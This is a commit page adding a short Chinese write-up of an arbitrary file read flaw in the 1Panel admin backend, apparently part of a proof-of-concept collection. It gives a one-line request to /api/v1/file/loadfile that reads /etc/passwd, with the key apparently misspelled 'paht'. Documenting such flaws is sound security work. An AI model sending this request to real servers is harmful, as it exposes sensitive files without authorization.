gotosleeping/library
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
sleep
2024-02-05 22:01:02 +08:00
committed by GitHub
parent 074473d760
commit 658d00e2b5
4 changed files with 17 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
document/1Panel后台/1Panel loadfile 后台文件读取漏洞.assets/image-20230815142616338.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 312 KiB

BIN
document/1Panel后台/1Panel loadfile 后台文件读取漏洞.assets/image-20230815142623048.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 309 KiB

BIN
document/1Panel后台/1Panel loadfile 后台文件读取漏洞.assets/image-20230815142629323.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 311 KiB

17
document/1Panel后台/1Panel loadfile 后台文件读取漏洞.md Normal file
View File

@@ -0,0 +1,17 @@
**漏洞描述**
1Panel后台存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器中的敏感信息文件
POC
POST /api/v1/file/loadfile {"paht":"/etc/passwd"}
**漏洞复现**
登陆页面
![image-20230815142616338](./1Panel loadfile 后台文件读取漏洞.assets/image-20230815142616338.png)
![image-20230815142623048](./1Panel loadfile 后台文件读取漏洞.assets/image-20230815142623048.png)
![image-20230815142629323](./1Panel loadfile 后台文件读取漏洞.assets/image-20230815142629323.png)